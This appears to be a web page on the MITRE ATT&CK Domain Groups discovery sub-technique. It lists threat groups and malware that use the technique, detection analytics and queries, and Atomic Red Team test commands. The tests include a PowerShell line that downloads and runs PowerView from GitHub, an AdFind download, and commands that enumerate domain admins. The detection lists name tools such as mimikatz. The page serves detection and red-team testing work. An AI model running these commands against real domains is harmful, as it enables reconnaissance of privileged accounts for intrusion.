tfMITRE ATT&CK sub-technique

Domain Groups T1069.002

sub-technique of T1069 Permission Groups Discovery

Tactic: Discovery
Platforms: Linux, macOS, Windows
Version: 1.2
Created: 21 February 2020
Last modified: 12 May 2026
Contributors: Harshal Tupsamudre, Qualys; Miriam Wiesner, @miriamxyra, Microsoft Security

Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 14%

Threat groups86th percentile · 86% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 17%

Campaigns83rd percentile · 83% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 15%

Tools & malware85th percentile · 85% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 7%

Detection rules93rd percentile · 93% of ATT&CK techniques have this many detection rules written or fewer.

Domain Groups MITRE reference T1069.002

Top 14%of all ATT&CK techniques for number of groups

13 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

Medusa GroupG1051 ↗

Has utilized the net group command to query domain groups within the victim environment.1

created 2025-10-151 reference

INC RansomG1032 ↗

Has enumerated domain groups on targeted hosts.1

created 2024-06-061 referenceaka GOLD IONIC

ToddyCatG1022 ↗

Has executed net group "domain admins" /dom for discovery on compromised machines.1

created 2024-01-031 reference

Volt TyphoonG1017 ↗

Has run net group in compromised environments to discover domain groups.1

created 2023-07-271 referenceaka BRONZE SILHOUETTE

Scattered SpiderG1015 ↗

Has enumerated Active Directory security groups including through the use of ADExplorer, ADRecon.ps1, and Get-ADUser.1 2

created 2023-07-052 referencesaka Roasted 0ktapus

LAPSUS$G1004 ↗

Has used the AD Explorer tool to enumerate groups on a victim's network.1

created 2022-06-091 referenceaka DEV-0537

All 13 groups for this technique · 6 newest in this preview

2 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.

C0015C0015 ↗

During C0015, the threat actors use the command net group "domain admins" /dom to enumerate domain groups.1

2021

SolarWinds CompromiseC0024 ↗

During the SolarWinds Compromise, APT29 used AdFind to enumerate domain groups.1

2019–2021

All 2 campaigns for this technique

23 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

LAMEHUGS9035 ↗

Can use dsquery to gather domain group information.1

created 2026-04-21MALWAREcarried by 1 group

QilinS1242 ↗

Can run PowerShell cmdlets to discover domain groups.1

created 2025-09-26MALWAREcarried by 2 groups

LatrodectusS1160 ↗

Can identify domain groups through cmd.exe /c net group "Domain Admins" /domain.1 2

created 2024-09-16MALWAREcarried by 2 groups

GootloaderS1138 ↗

Can determine if a targeted system is part of an Active Directory domain by expanding the %USERDNSDOMAIN% environment variable.1

created 2024-05-28MALWARE

BADHATCHS1081 ↗

Can use net.exe group "domain admins" /domain to identify Domain Administrators.1

created 2023-08-01MALWAREcarried by 1 group

BlackCatS1068 ↗

Can determine if a user on a compromised host has domain admin privileges.1

created 2023-02-28MALWAREcarried by 1 group

All 23 software entries for this technique · 6 newest in this preview

Offense vs defense T1069.002

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 2Sigma rules (cumulative) · 15Splunk ESCU (cumulative) · 21

first rule: 2017 Q1 · 2 of 2 campaigns plotted

Domain Groups detection strategy DET0360

MITRE names one behaviour worth catching for this technique and breaks it into 3 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Behavioral Detection of Domain Group Discovery

Enterprise

3 platforms

AN1025 · Windows

Detection of domain group enumeration through command-line utilities such as 'net group /domain' or PowerShell cmdlets, followed by suspicious access to API calls or LSASS memory.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Security	EventCode=4688
Command ExecutionDC0064	WinEventLog:PowerShell	EventCode=4103, 4104, 4105, 4106

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TimeWindow	Adjustable window to track chained discovery activity (e.g., 5-10 minutes).
UserContext	Tune to focus on non-admin users or service accounts performing enumeration.
ProcessLineageDepth	How far back the parent-child process chain is correlated.

AN1026 · Linux

Behavioral detection of domain group enumeration via ldapsearch or custom scripts leveraging LDAP over the network.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	auditd:SYSCALL	execve
Command ExecutionDC0064	linux:syslog	sshd logs
Network Traffic ContentDC0085	NSM:Flow	ldap.log

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
LDAPQueryDepth	Tunable based on number of LDAP queries before flagging suspicious behavior.
CommandPattern	Pattern matching against common ldapsearch or shell enumeration flags.

AN1027 · macOS

Enumeration of domain groups using dscacheutil or dscl commands, often following initial login or domain trust queries.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	macos:unifiedlog	process events

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
CommandSignatureThreshold	Defines how strictly command patterns must match known enumeration syntax.
TimeWindow	Adjustable window to correlate chained behavior such as group enumeration followed by user targeting.

3 analytics

Certain commands are frequently used by malicious actors and infrequently used by normal users. By looking for execution of these commands in short periods of time, we can not only see when a malicious user was on the system but also get an idea of what they were doing.

TypeTTPCoverageLowSubmitted2013

D3FEND techniques

The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.

ID	Name
D3-PLA	Process Lineage Analysis

Data model references

The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.

Object	Action	Field
process	create	hostname
process	create	ppid
process	create	exe

Implementations

Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.

processes = search Process:Create
reg_processes = filter processes where (exe == "arp.exe" or exe == "at.exe" or exe == "attrib.exe"
 or exe == "cscript.exe" or exe == "dsquery.exe" or exe == "hostname.exe"
 or exe == "ipconfig.exe" or exe == "mimikatz.exe" or exe == "nbstat.exe"
 or exe == "net.exe" or exe == "netsh.exe" or exe == "nslookup.exe"
 or exe == "ping.exe" or exe == "quser.exe" or exe == "qwinsta.exe"
 or exe == "reg.exe" or exe == "runas.exe" or exe == "sc.exe"
 or exe == "schtasks.exe" or exe == "ssh.exe" or exe == "systeminfo.exe"
 or exe == "taskkill.exe" or exe == "telnet.exe" or exe == "tracert.exe"
 or exe == "wscript.exe" or exe == "xcopy.exe")
reg_grouped = group reg by hostname, ppid where(max time between two events is 30 minutes)
output reg_grouped

DNIF version of the above pseudocode.

_fetch * from event where $LogName=WINDOWS-SYSMON AND $EventID=1 AND $App=regex(arp\.exe|at\.exe|attrib\.exe|cscript\.exe|dsquery\.exe|hostname\.exe|ipconfig\.exe|mimikatz.exe|nbstat\.exe|net\.exe|netsh\.exe|nslookup\.exe|ping\.exe|quser\.exe|qwinsta\.exe|reg\.exe|runas\.exe|sc\.exe|schtasks\.exe|ssh\.exe|systeminfo\.exe|taskkill\.exe|telnet\.exe|tracert\.exe|wscript\.exe|xcopy\.exe)i group count_unique $App limit 100
>>_agg count
>>_checkif int_compare Count > 1 include

LogPoint version of the above pseudocode.

norm_id=WindowsSysmon event_id=1 image IN ["*\arp.exe", "*\at.exe", "*\attrib.exe", "*\cscript.exe", "*\dsquery.exe", "*\hostname.exe", "*\ipconfig.exe", "*\mimikatz.exe", "*\nbstat.exe", "*\net.exe", "*\netsh.exe", "*\nslookup.exe", "*\ping.exe", "*\quser.exe", "*\qwinsta.exe", "*\reg.exe", "*\runas.exe", "*\sc.exe", "*\schtasks.exe", "*\ssh.exe", "*\systeminfo.exe", "*\taskkill.exe", "*\telnet.exe", "*\tracert.exe", "*\wscript.exe", "*\xcopy.exe"]
| chart count() as cnt by host
| search cnt > 1

Unit tests

CAR’s own validation procedures for this analytic.

Within a command window, execute several of the commands in quick succession.

["ipconfig /all","hostname","systeminfo","reg.exe Query HKLM\\Software\\Microsoft"]

When entering on a host for the first time, an adversary may try to discover information about the host. There are several built-in Windows commands that can be used to learn about the software configurations, active users, administrators, and networking configuration. These commands should be monitored to identify when an adversary is learning information about the system and environment. The information returned may impact choices an adversary can make when establishing persistence, escalating privileges, or moving laterally.

TypeTTPCoverageModerateSubmitted2016

D3FEND techniques

The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.

ID	Name
D3-PSA	Process Spawn Analysis

Data model references

The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.

Object	Action	Field
process	create	command_line
process	create	exe

Implementations

Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.

To be effective in deciphering malicious and benign activity, the full command line is essential. Similarly, having information about the parent process can help with making decisions and tuning to an environment.

process = search Process:Create
info_command = filter process where (
 exe == "hostname.exe" or
 exe == "ipconfig.exe" or
 exe == "net.exe" or
 exe == "quser.exe" or
 exe == "qwinsta.exe" or
 exe == "sc" and (command_line match " query" or command_line match " qc")) or
 exe == "systeminfo.exe" or
 exe == "tasklist.exe" or
 exe == "whoami.exe"
)
output info_command

Splunk version of the above pseudocode search.

index=__your_sysmon_index__ EventCode=1 (Image="C:\\Windows\\*\\hostname.exe" OR Image="C:\\Windows\\*\\ipconfig.exe" OR Image="C:\\Windows\\*\\net.exe" OR Image="C:\\Windows\\*\\quser.exe" OR Image="C:\\Windows\\*\\qwinsta.exe" OR (Image="C:\\Windows\\*\\sc.exe" AND (CommandLine="* query *" OR CommandLine="* qc *")) OR Image="C:\\Windows\\*\\systeminfo.exe" OR Image="C:\\Windows\\*\\tasklist.exe" OR Image="C:\\Windows\\*\\whoami.exe")|stats values(Image) as "Images" values(CommandLine) as "Command Lines" by ComputerName

EQL version of the above pseudocode search.

process where subtype.create and
  (process_name == "hostname.exe" or process_name == "ipconfig.exe" or process_name == "net.exe" or process_name == "quser.exe" process_name == "qwinsta.exe" or process_name == "systeminfo.exe" or process_name == "tasklist.exe" or process_name == "whoami.exe" or (process_name == "sc.exe" and (command_line == "* query *" or command_line == "* qc *")))

LogPoint version of the above pseudocode.

norm_id=WindowsSysmon event_id=1 (image in ["*\hostname.exe", "*\ipconfig.exe", "*\net.exe", "*\quser.exe", "*\qwinsta.exe", "*\systeminfo.exe", "*\tasklist.exe", "*\whoami.exe"] OR (image="*\sc.exe" command IN ["* query *", "* qc *"))

Cyber actors frequently enumerate local or domain permissions groups. The net utility is usually used for this purpose. This analytic looks for any instances of net.exe, which is not normally used for benign purposes, although system administrator actions may trigger false positives.

TypeTTPCoverageModerateSubmitted2020

D3FEND techniques

The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.

ID	Name
D3-PSA	Process Spawn Analysis

Data model references

The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.

Object	Action	Field
process	create	exe
process	create	command_line

Implementations

Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.

This is a pseudocode representation of the below splunk search.

processes = search Process:Create
net_processes = filter processes where (
  exe = "net.exe" AND (
  command_line="*net* user*" OR
  command_line="*net* group*" OR
  command_line="*net* localgroup*" OR
  command_line="*get-localgroup*" OR
  command_line="*get-ADPrincipalGroupMembership*" )
output net_processes

Look for instances of net.exe

(index=__your_sysmon_index__ EventCode=1) Image="C:\\Windows\\System32\\net.exe" AND (CommandLine="* user*" OR CommandLine="* group*" OR CommandLine="* localgroup*" OR CommandLine="*get-localgroup*" OR CommandLine="*get-ADPrincipalGroupMembership*")

Look for instances of net.exe

norm_id=WindowsSysmon event_id=1 image="C:\Windows\System32\net.exe" (command="* user*" OR command="* group*" OR command="* localgroup*" OR command="*get-localgroup*" OR command="*get-ADPrincipalGroupMembership*")

Tests15ExecutorsPowerShell 10 · cmd 4 · sh 1Need elevation1 of 15Have prerequisites5Have cleanup1Platformswindows, linux

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Basic Permission Groups Discovery Windows (Domain)

windows

cmd

—

Permission Groups Discovery PowerShell (Domain)

windows

PowerShell

—

Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.

Input arguments

Name	Type	Default	Description
user	string	$env:USERNAME	User to identify what groups a user is a member of

Attack command

get-ADPrincipalGroupMembership #{user} | select name

GUID456ed95d-8f5e-4693-92a8-22395f22bc56

Elevated group enumeration using net group (Domain)

windows

cmd

—

Find machines where user has local admin access (PowerView)

windows

PowerShell

—

Find local admins on all machines in domain (PowerView)

windows

PowerShell

—

Find Local Admins via Group Policy (PowerView)

windows

PowerShell

—

takes a computer and determines who has admin rights over it through GPO enumeration. Upon execution, information about the machine will be displayed.

Input arguments

Name	Type	Default	Description
computer_name	path	$env:COMPUTERNAME	hostname of the computer to analyze

Attack command

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName #{computer_name} -Verbose

GUIDc5d0fb0e-8a18-4936-94bf-76513336e05d

Enumerate Users Not Requiring Pre Auth (ASRepRoast)

windows

PowerShell

—

Adfind - Query Active Directory Groups

windows

cmd

—

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Groups reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html

Input arguments

Name	Type	Default	Description
optional_args	string	—	Allows defining arguments to add to the adfind command to tailor it to the specific needs of the environment. Use "-arg" notation to add arguments separated by spaces.

Attack command

"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=group) #{optional_args}

Prerequisite

AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe)

Check

if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") {exit 0} else {exit 1}

Satisfy

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null
Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"

GUID34114805-987f-4788-8ebf-5f090c6709e4

Enumerate Active Directory Groups with Get-AdGroup

windows

PowerShell

—

Enumerate Active Directory Groups with ADSISearcher

windows

PowerShell

—

Get-ADUser Enumeration using UserAccountControl flags (AS-REP Roasting)

windows

PowerShell

—

Get-DomainGroupMember with PowerView

windows

PowerShell

—

Get-DomainGroup with PowerView

windows

PowerShell

—

Active Directory Enumeration with LDIFDE

windows

cmd

Required

Yes

Output information from Active Directory to a specified file. Ldifde) is a CLI tool for creating, modifying and deleting directory objects. The test is derived from the CISA Report on Voly Typhoon. Reference: https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF

Input arguments

Name	Type	Default	Description
output_file	string	atomic_ldifde.txt	The filename to be created by ldifde
output_path	path	C:\Windows\temp	Path to the file that ldifde will output

Attack command

ldifde.exe -f #{output_path}\#{output_file} -p subtree

Cleanup command

del #{output_path}\#{output_file}

Prerequisite

PowerShell ActiveDirectory Module must be installed

Check

Try {
    Import-Module ActiveDirectory -ErrorAction Stop | Out-Null
    exit 0
}
Catch {
    exit 1
}

Satisfy

if((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) {
  Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS* -Online).Name -Online
} else {
  Install-WindowsFeature RSAT-AD-PowerShell
}

GUID4c4a8b2f-2915-40e7-a978-a193d7a40958

Active Directory Domain Search Using LDAP - Linux (Ubuntu)/macOS

linux

—

Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory

Input arguments

Name	Type	Default	Description
user	string	user@example.com	username@domain of a user
domain	string	example	The domain to be tested
password	string	s3CurePssw0rD!	password of the user referenced inside user
top_level_domain	string	com	The top level domain (.com, .test, .remote, etc... following domain, minus the .)

Attack command

ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" "(objectClass=group)" -s sub -a always -z 1000 dn

Prerequisite

Packages sssd-ad sssd-tools realmd adcli installed and realm available, ldapsearch

Check

which ldapsearch

Satisfy

echo missing ldapsearch command; exit 1

GUIDac315737-531a-4637-ad12-d847ef33f2f9

Tests from Atomic Red Team (MIT licence) · technique definition

Domain Groups detections T1069.002

36 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 7%of all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs